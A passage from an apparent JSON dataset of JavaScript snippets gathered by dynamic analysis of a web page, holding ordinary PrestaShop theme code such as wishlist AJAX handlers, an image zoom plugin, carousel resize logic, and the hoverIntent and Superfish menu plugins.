id).fadeOut('slow').remove();\t\t\t$(\"#block-order-detail\").html('');\t\t\tif (mywishlist_siblings_count == 0)\t\t\t\t$(\"#block-history\").remove();\t\t\tif (data.id_default)\t\t\t{\t\t\t\tvar td_default = $(\"#wishlist_\"+data.id_default+\" > .wishlist_default\");\t\t\t\t$(\"#wishlist_\"+data.id_default+\" > .wishlist_default > a\").remove();\t\t\t\ttd_default.append('<p class=\"is_wish_list_default\"><i class=\"icon icon-check-square\"></i></p>');\t\t\t}\t\t}\t});}function WishlistDefault(id, id_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\t$.ajax({\t\ttype: 'GET',\t\tasync: true,\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tcache: false,\t\tdata: {\t\t\trand:new Date().getTime(),\t\t\t'default': 1,\t\t\tid_wishlist:id_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'setdefault'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tvar old_default_id = $(\".is_wish_list_default\").parents(\"tr\").attr(\"id\");\t\t\tvar td_check = $(\".is_wish_list_default\").parent();\t\t\t$(\".is_wish_list_default\").remove();\t\t\ttd_check.append('<a href=\"#\" onclick=\"javascript:event.preventDefault();(WishlistDefault(\\''+old_default_id+'\\', \\''+old_default_id.replace(\"wishlist_\", \"\")+'\\'));\"><i class=\"icon icon-square\"></i></a>');\t\t\tvar td_default = $(\"#\"+id+\" > .wishlist_default\");\t\t\t$(\"#\"+id+\" > .wishlist_default > a\").remove();\t\t\ttd_default.append('<p class=\"is_wish_list_default\"><i class=\"icon icon-check-square\"></i></p>');\t\t}\t});}/*** Hide/Show bought product** @return void*/function WishlistVisibility(bought_class, id_button){\tif ($('#hide' + id_button).is(':hidden'))\t{\t\t$('.' + bought_class).slideDown('fast');\t\t$('#show' + id_button).hide();\t\t$('#hide' + id_button).css('display', 'block');\t}\telse\t{\t\t$('.' + bought_class).slideUp('fast');\t\t$('#hide' + id_button).hide();\t\t$('#show' + id_button).css('display', 'block');\t}}/*** Send wishlist by email** @return void*/function WishlistSend(id, id_wishlist, id_email){\t$.post(\t\tbaseDir + 'modules/blockwishlist/sendwishlist.php',\t\t{\t\t\ttoken: static_token,\t\t\tid_wishlist: id_wishlist,\t\t\temail1: $('#' + id_email + '1').val(),\t\t\temail2: $('#' + id_email + '2').val(),\t\t\temail3: $('#' + id_email + '3').val(),\t\t\temail4: $('#' + id_email + '4').val(),\t\t\temail5: $('#' + id_email + '5').val(),\t\t\temail6: $('#' + id_email + '6').val(),\t\t\temail7: $('#' + id_email + '7').val(),\t\t\temail8: $('#' + id_email + '8').val(),\t\t\temail9: $('#' + id_email + '9').val(),\t\t\temail10: $('#' + id_email + '10').val()\t\t},\t\tfunction(data)\t\t{\t\t\tif (data)\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + data + '</p>'\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(data);\t\t\t}\t\t\telse\t\t\t\tWishlistVisibility(id, 'hideSendWishlist');\t\t}\t);}function wishlistProductsIdsAdd(id){\tif ($.inArray(parseInt(id),wishlistProductsIds) == -1)\t\twishlistProductsIds.push(parseInt(id))}function wishlistProductsIdsRemove(id){\twishlistProductsIds.splice($.inArray(parseInt(id),wishlistProductsIds), 1)}function wishlistRefreshStatus(){\t$('.addToWishlist').each(function(){\t\tif ($.inArray(parseInt($(this).prop('rel')),wishlistProductsIds)!= -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function wishlistProductChange(id_product, id_product_attribute, id_old_wishlist, id_new_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\tvar quantity = $('#quantity_' + id_product + '_' + id_product_attribute).val();\t$.ajax({\t\ttype: 'GET',\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdataType: \"json\",\t\tdata: {\t\t\tid_product:id_product,\t\t\tid_product_attribute:id_product_attribute,\t\t\tquantity: quantity,\t\t\tpriority: $('#priority_' + id_product + '_' + id_product_attribute).val(),\t\t\tid_old_wishlist:id_old_wishlist,\t\t\tid_new_wishlist:id_new_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'productchangewishlist'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tif (data.success == true) {\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('slow');\t\t\t\t$('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text($('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text() - quantity);\t\t\t\t$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text(+$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text() + +quantity);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '<p class=\"fancybox-error\">' + data.error + '</p>'\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t}\t\t}\t});}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* \r* Zoom 1.3 - jQuery image zooming plugin\r* @author Jack Moore - jacklmoore.com\r* @copyright 2012 \r* @license www.opensource.org/licenses/mit-license.php\r*/\r\r(function($){var defaults={url:false,icon:true,grab:false,callback:false,duration:120};$.fn.zoom=function(options){return this.each(function(){var root=this,$root=$(root),img=new Image(),$img=$(img),$icon,position=$root.css(\"position\"),settings=$.extend({},defaults,options||{}),mousemove=\"mousemove\";$root.css({position:/(absolute|fixed)/.test(position)?position:\"relative\",overflow:\"hidden\"});if(!settings.url){settings.url=$root.find(\"img:first\")[0].src;if(!settings.url){return}}if(settings.icon){$icon=$('<div class=\"zoomIcon\">').appendTo($root)}img.onload=function(){var outerWidth,outerHeight,xRatio,yRatio,left,top,offset=$root.offset();function ratio(){outerWidth=$root.outerWidth();outerHeight=$root.outerHeight();xRatio=(img.width-outerWidth)/outerWidth;yRatio=(img.height-outerHeight)/outerHeight}function move(e){left=(e.pageX-offset.left);top=(e.pageY-offset.top);if(left>outerWidth){left=outerWidth}else{if(left<0){left=0}}if(top>outerHeight){top=outerHeight}else{if(top<0){top=0}}img.style.left=(left*-xRatio)+\"px\";img.style.top=(top*-yRatio)+\"px\";e.preventDefault()}ratio();$img.addClass(\"zoomImg\").css({position:\"absolute\",top:0,left:0,opacity:0,width:img.width,height:img.height,border:\"none\",maxWidth:\"none\"}).appendTo($root);if(settings.grab){$img.mousedown(function(e){offset=$root.offset();$(document).one(\"mouseup\",function(){$img.stop().fadeTo(settings.duration,0);$(document).unbind(mousemove,move)});ratio();move(e);$img.stop().fadeTo($.support.opacity?settings.duration:0,1);$(document)[mousemove](move);e.preventDefault()})}else{$img.hover(function(){offset=$root.offset();ratio();$img.stop().fadeTo($.support.opacity?settings.duration:0,1)},function(){$img.stop().fadeTo(settings.duration,0)})[mousemove](function(e){img.style.left=(e.pageX-offset.left)*-xRatio+\"px\";img.style.top=(e.pageY-offset.top)*-yRatio+\"px\"})}if($.isFunction(settings.callback)){settings.callback.call(img)}};img.src=settings.url})};$.fn.zoom.defaults=defaults}(jQuery));",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r$(document).ready(function(){\r\rif ($('body').attr('id') === 'product' && $(\"#center_column #views_block #thumbs_list li a.shown img\").length ) { \r \r var wplink = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r \r \r // default\r $('#center_column #image-block img#bigpic')\r .wrap('<span style=\"display:inline-block; max-width: 100%\"></span>')\r .css('display', 'block')\r .parent()\r .zoom({\r url: wplink, \r icon: true \r });\r \r // mouse over thumb image\r $('#center_column #thumbs_list ul li a img').mouseover(function() { \r var wpsrc = $(this).attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpsrc);\r }); \r \r // color picker\r if ($(\"#center_column ul#color_to_pick_list\").length > 0) { \r $('#center_column ul#color_to_pick_list li a').click(function() {\r setTimeout(function(){ \r var wplinkpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wplinkpick);\r }, 100);\r \r \r });\r }\r\r // on attribute selectbox change\r $('#attributes select').change(function() { \r setTimeout(function(){ \r var wpselectpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpselectpick); \r }, 100);\r });\r \r \r }; \r});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel2').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel2-prev\",\r next : \".mycarousel2-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel2\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel2').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel2').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel3').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel3-prev\",\r next : \".mycarousel3-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel3\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel3').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel3').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** * hoverIntent is similar to jQuery's built-in \"hover\" method except that * instead of firing the handlerIn function immediately, hoverIntent checks * to see if the user's mouse has slowed down (beneath the sensitivity * threshold) before firing the event. The handlerOut function is only * called after a matching handlerIn. * * hoverIntent r7 // 2013.03.11 // jQuery 1.9.1+ * http://cherne.net/brian/resources/jquery.hoverIntent.html * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007, 2013 Brian Cherne * * // basic usage ... just like .hover() * .hoverIntent( handlerIn, handlerOut ) * .hoverIntent( handlerInOut ) * * // basic usage ... with event delegation! * .hoverIntent( handlerIn, handlerOut, selector ) * .hoverIntent( handlerInOut, selector ) * * // using a basic configuration object * .hoverIntent( config ) * * @param handlerIn function OR configuration object * @param handlerOut function OR selector for delegation OR undefined * @param selector selector OR undefined * @author Brian Cherne <brian(at)cherne(dot)net> **/(function($) { $.fn.hoverIntent = function(handlerIn,handlerOut,selector) { // default configuration values var cfg = { interval: 100, sensitivity: 7, timeout: 0 }; if ( typeof handlerIn === \"object\" ) { cfg = $.extend(cfg, handlerIn ); } else if ($.isFunction(handlerOut)) { cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } ); } else { cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } ); } // instantiate variables // cX, cY = current X and Y position of mouse, updated by mousemove event // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval var cX, cY, pX, pY; // A private function for getting mouse position var track = function(ev) { cX = ev.pageX; cY = ev.pageY; }; // A private function for comparing current and previous mouse position var compare = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); // compare mouse positions to see if they've crossed the threshold if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) { $(ob).off(\"mousemove.hoverIntent\",track); // set hoverIntent state to true (so mouseOut can be called) ob.hoverIntent_s = 1; return cfg.over.apply(ob,[ev]); } else { // set previous coordinates for next time pX = cX; pY = cY; // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval ); } }; // A private function for delaying the mouseOut function var delay = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); ob.hoverIntent_s = 0; return cfg.out.apply(ob,[ev]); }; // A private function for handling mouse 'hovering' var handleHover = function(e) { // copy objects to be passed into t (required for event object to be passed in IE) var ev = jQuery.extend({},e); var ob = this; // cancel hoverIntent timer if it exists if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); } // if e.type == \"mouseenter\" if (e.type == \"mouseenter\") { // set \"previous\" X and Y position based on initial entry point pX = ev.pageX; pY = ev.pageY; // update \"current\" X and Y position based on mousemove $(ob).on(\"mousemove.hoverIntent\",track); // start polling interval (self-calling timeout) to compare mouse coordinates over time if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );} // else e.type == \"mouseleave\" } else { // unbind expensive mousemove event $(ob).off(\"mousemove.hoverIntent\",track); // if hoverIntent state is true, then call the mouseOut function after the specified delay if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );} } }; // listen for mouseenter and mouseleave return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector); };})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/* * jQuery Superfish Menu Plugin - v1.7.4 * Copyright (c) 2013 Joel Birch * * Dual licensed under the MIT and GPL licenses: *\thttp://www.opensource.org/licenses/mit-license.php *\thttp://www.gnu.org/licenses/gpl.html */(function ($) {\t\"use strict\";\tvar methods = (function () {\t\t// private properties and methods go here\t\tvar c = {\t\t\t\tbcClass: 'sf-breadcrumb',\t\t\t\tmenuClass: 'sf-js-enabled',\t\t\t\tanchorClass: 'sf-with-ul',\t\t\t\tmenuArrowClass: 'sf-arrows'\t\t\t},\t\t\tios = (function () {\t\t\t\tvar ios = /iPhone|iPad|iPod/i.test(navigator.userAgent);\t\t\t\tif (ios) {\t\t\t\t\t// iOS clicks only bubble as far as body children\t\t\t\t\t$(window).load(function () {\t\t\t\t\t\t$('body').children().on('click', $.noop);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn ios;\t\t\t})(),\t\t\twp7 = (function () {\t\t\t\tvar style = document.documentElement.style;\t\t\t\treturn ('behavior' in style && 'fill' in style && /iemobile/i.test(navigator.userAgent));\t\t\t})(),\t\t\ttoggleMenuClasses = function ($menu, o) {\t\t\t\tvar classes = c.menuClass;\t\t\t\tif (o.cssArrows) {\t\t\t\t\tclasses += ' ' + c.menuArrowClass;\t\t\t\t}\t\t\t\t$menu.toggleClass(classes);\t\t\t},\t\t\tsetPathToCurrent = function ($menu, o) {\t\t\t\treturn $menu.find('li.' + o.pathClass).slice(0, o.pathLevels)\t\t\t\t\t.addClass(o.hoverClass + ' ' + c.bcClass)\t\t\t\t\t\t.filter(function () {\t\t\t\t\t\t\treturn ($(this).children(o.popUpSelector).hide().show().length);\t\t\t\t\t\t}).removeClass(o.pathClass);\t\t\t},\t\t\ttoggleAnchorClass = function ($li) {\t\t\t\t$li.children('a').toggleClass(c.anchorClass);\t\t\t},\t\t\ttoggleTouchAction = function ($menu) {\t\t\t\tvar touchAction = $menu.css('ms-touch-action');\t\t\t\ttouchAction = (touchAction === 'pan-y') ? 'auto' : 'pan-y';\t\t\t\t$menu.css('ms-touch-action', touchAction);\t\t\t},\t\t\tapplyHandlers = function ($menu, o) {\t\t\t\tvar targets = 'li:has(' + o.popUpSelector + ')';\t\t\t\tif ($.fn.hoverIntent && !o.disableHI) {\t\t\t\t\t$menu.hoverIntent(over, out, targets);\t\t\t\t}\t\t\t\telse {\t\t\t\t\t$menu\t\t\t\t\t\t.on('mouseenter.superfish', targets, over)\t\t\t\t\t\t.on('mouseleave.superfish', targets, out);\t\t\t\t}\t\t\t\tvar touchevent = 'MSPointerDown.superfish';\t\t\t\tif (!ios) {\t\t\t\t\ttouchevent += ' touchend.superfish';\t\t\t\t}\t\t\t\tif (wp7) {\t\t\t\t\ttouchevent += ' mousedown.superfish';\t\t\t\t}\t\t\t\t$menu\t\t\t\t\t.on('focusin.superfish', 'li', over)\t\t\t\t\t.on('focusout.superfish', 'li', out)\t\t\t\t\t.on(touchevent, 'a', o, touchHandler);\t\t\t},\t\t\ttouchHandler = function (e) {\t\t\t\tvar $this = $(this),\t\t\t\t\t$ul = $this.siblings(e.data.popUpSelector);\t\t\t\tif ($ul.length > 0 && $ul.is(':hidden')) {\t\t\t\t\t$this.one('click.superfish', false);\t\t\t\t\tif (e.type === 'MSPointerDown') {\t\t\t\t\t\t$this.trigger('focus');\t\t\t\t\t} else {\t\t\t\t\t\t$.proxy(over, $this.parent('li'))();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tover = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t$this.siblings().superfish('hide').end().superfish('show');\t\t\t},\t\t\tout = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tif (ios) {\t\t\t\t\t$.proxy(close, $this, o)();\t\t\t\t}\t\t\t\telse {\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\to.sfTimer = setTimeout($.proxy(close, $this, o), o.delay);\t\t\t\t}\t\t\t},\t\t\tclose = function (o) {\t\t\t\to.retainPath = ($.inArray(this[0], o.$path) > -1);\t\t\t\tthis.superfish('hide');\t\t\t\tif (!this.parents('.' + o.hoverClass).length) {\t\t\t\t\to.onIdle.call(getMenu(this));\t\t\t\t\tif (o.$path.length) {\t\t\t\t\t\t$.proxy(over, o.$path)();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tgetMenu = function ($el) {\t\t\t\treturn $el.closest('.' + c.menuClass);\t\t\t},\t\t\tgetOptions = function ($el) {\t\t\t\treturn getMenu($el).data('sf-options');\t\t\t};\t\treturn {\t\t\t// public methods\t\t\thide: function (instant) {\t\t\t\tif (this.length) {\t\t\t\t\tvar $this = this,\t\t\t\t\t\to = getOptions($this);\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn this;\t\t\t\t\t}\t\t\t\t\tvar not = (o.retainPath === true) ? o.$path : '',\t\t\t\t\t\t$ul = $this.find('li.' + o.hoverClass).add(this).not(not).removeClass(o.hoverClass).children(o.popUpSelector),\t\t\t\t\t\tspeed = o.speedOut;\t\t\t\t\tif (instant) {\t\t\t\t\t\t$ul.show();\t\t\t\t\t\tspeed = 0;\t\t\t\t\t}\t\t\t\t\to.retainPath = false;\t\t\t\t\to.onBeforeHide.call($ul);\t\t\t\t\t$ul.stop(true, true).animate(o.animationOut, speed, function () {\t\t\t\t\t\tvar $this = $(this);\t\t\t\t\t\to.onHide.call($this);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn this;\t\t\t},\t\t\tshow: function () {\t\t\t\tvar o = getOptions(this);\t\t\t\tif (!o) {\t\t\t\t\treturn this;\t\t\t\t}\t\t\t\tvar $this = this.addClass(o.hoverClass),\t\t\t\t\t$ul = $this.children(o.popUpSelector);\t\t\t\to.onBeforeShow.call($ul);\t\t\t\t$ul.stop(true, true).animate(o.animation, o.speed, function () {\t\t\t\t\to.onShow.call($ul);\t\t\t\t});\t\t\t\treturn this;\t\t\t},\t\t\tdestroy: function () {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this),\t\t\t\t\t\to = $this.data('sf-options'),\t\t\t\t\t\t$hasPopUp;\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\t// remove event handlers\t\t\t\t\t$this.off('.superfish').off('.hoverIntent');\t\t\t\t\t// clear animation's inline display style\t\t\t\t\t$hasPopUp.children(o.popUpSelector).attr('style', function (i, style) {\t\t\t\t\t\treturn style.replace(/display[^;]+;?/g, '');\t\t\t\t\t});\t\t\t\t\t// reset 'current' path classes\t\t\t\t\to.$path.removeClass(o.hoverClass + ' ' + c.bcClass).addClass(o.pathClass);\t\t\t\t\t$this.find('.' + o.hoverClass).removeClass(o.hoverClass);\t\t\t\t\to.onDestroy.call($this);\t\t\t\t\t$this.removeData('sf-options');\t\t\t\t});\t\t\t},\t\t\tinit: function (op) {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this);\t\t\t\t\tif ($this.data('sf-options')) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\tvar o = $.extend({}, $.fn.superfish.defaults, op),\t\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\to.$path = setPathToCurrent($this, o);\t\t\t\t\t$this.data('sf-options', o);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\tapplyHandlers($this, o);\t\t\t\t\t$hasPopUp.not('.' + c.bcClass).superfish('hide', true);\t\t\t\t\to.onInit.call(this);\t\t\t\t});\t\t\t}\t\t};\t})();\t$.fn.superfish = function (method, args) {\t\tif (methods[method]) {\t\t\treturn methods[method].apply(this, Array.prototype.slice.call(arguments, 1));\t\t}\t\telse if (typeof method === 'object' || ! method) {\t\t\treturn methods.init.apply(this, arguments);\t\t}\t\telse {\t\t\treturn $.error('Method ' + method + ' does not exist on jQuery.fn.superfish');\t\t}\t};\t$.fn.superfish.defaults = {\t\tpopUpSelector: 'ul,.sf-mega', // within menu context\t\thoverClass: 'sfHover',\t\tpathClass: 'overrideThisToUse',\t\tpathLevels: 1,\t\tdelay: 0,\t\tanimation: {opacity: 'show'},\t\tanimationOut: {opacity: 'hide'},\t\tspeed: 'normal',\t\tspeedOut: 'fast',\t\tcssArrows: true,\t\tdisableHI: true,\t\tonInit: $.noop,\t\tonBeforeShow: $.noop,\t\tonShow: $.noop,\t\tonBeforeHide: $.noop,\t\tonHide: $.noop,\t\tonIdle: $.noop,\t\tonDestroy: $.noop\t};\t// soon to be deprecated\t$.fn.extend({\t\thideSuperfishUl: methods.hide,\t\tshowSuperfishUl: methods.show\t});})(jQuery);",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA <contact@prestashop.com>* @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var responsiveflagMenu = false;var categoryMenu = $('ul.sf-menu');var mCategoryGrover = $('.sf-contener .cat-title');$(document).ready(function(){\tcategoryMenu = $('ul.sf-menu');\tmCategoryGrover = $('.sf-contener .cat-title');\tresponsiveMenu();\t$(window).resize(responsiveMenu);});// check resolutionfunction responsiveMenu(){ if ($(document).width() <= 767 && responsiveflagMenu == false)\t{\t\tmenuChange('enable');\t\tresponsiveflagMenu = true;\t}\telse if ($(document).width() >= 768)\t{\t\tmenuChange('disable');\t\tresponsiveflagMenu = false;\t}}// init Super Fish Menu for 767px+ resolutionfunction desktopInit(){\tmCategoryGrover.off();\tmCategoryGrover.removeClass('active');\t$('.sf-menu > li > ul').removeClass('menu-mobile').parent().find('.menu-mobile-grover').remove();\t$('.sf-menu').removeAttr('style');\tcategoryMenu.superfish('init');\t//add class for width define\t$('.sf-menu > li > ul').addClass('submenu-container clearfix');\t // loop through each sublist under each top list item $('.sf-menu > li > ul').each(function(){ i = 0; //add classes for clearing $(this).each(function(){ if ($(this).attr('class') != \"category-thumbnail\"){ i++; if(i % 2 == 1) $(this).addClass('first-in-line-xs'); else if (i % 5 == 1) $(this).addClass('first-in-line-lg'); } }); });}function mobileInit(){\tcategoryMenu.superfish('destroy');\t$('.sf-menu').removeAttr('style');\tmCategoryGrover.on('click', function(e){\t\t$(this).toggleClass('active').parent().find('ul.menu-content').stop().slideToggle('medium');\t\treturn false;\t});\t$('.sf-menu > li > ul').addClass('menu-mobile clearfix').parent().prepend('<span class=\"menu-mobile-grover\"></span>');\t$(\".sf-menu .menu-mobile-grover\").on('click', function(e){\t\tvar catSubUl = $(this).next().next('.menu-mobile');\t\tif (catSubUl.is(':hidden'))\t\t{\t\t\tcatSubUl.slideDown();\t\t\t$(this).addClass('active');\t\t}\t\telse\t\t{\t\t\tcatSubUl.slideUp();\t\t\t$(this).removeClass('active');\t\t}\t\treturn false;\t});\t$('#block_top_menu > ul:first > li > a').on('click', function(e){\t\tvar parentOffset = $(this).prev().offset();\t \tvar relX = parentOffset.left - e.pageX;\t\tif ($(this).parent('li').find('ul').length && relX >= 0 && relX <= 